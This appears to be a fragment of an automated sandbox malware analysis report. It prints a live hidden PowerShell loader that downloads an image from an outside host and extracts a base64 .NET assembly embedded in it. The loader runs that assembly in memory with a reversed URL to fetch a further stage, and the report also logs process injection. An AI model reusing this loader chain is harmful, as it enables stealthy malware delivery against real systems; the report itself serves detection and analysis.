parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.enolaerenolaer/071.47.522.581//:ptth');$method.Invoke($null, $arguments)"
Process injection Process 2608 resumed a thread in remote process 2696
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000034c
suspend_count: 1
process_identifier: 2696
1 0 0
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe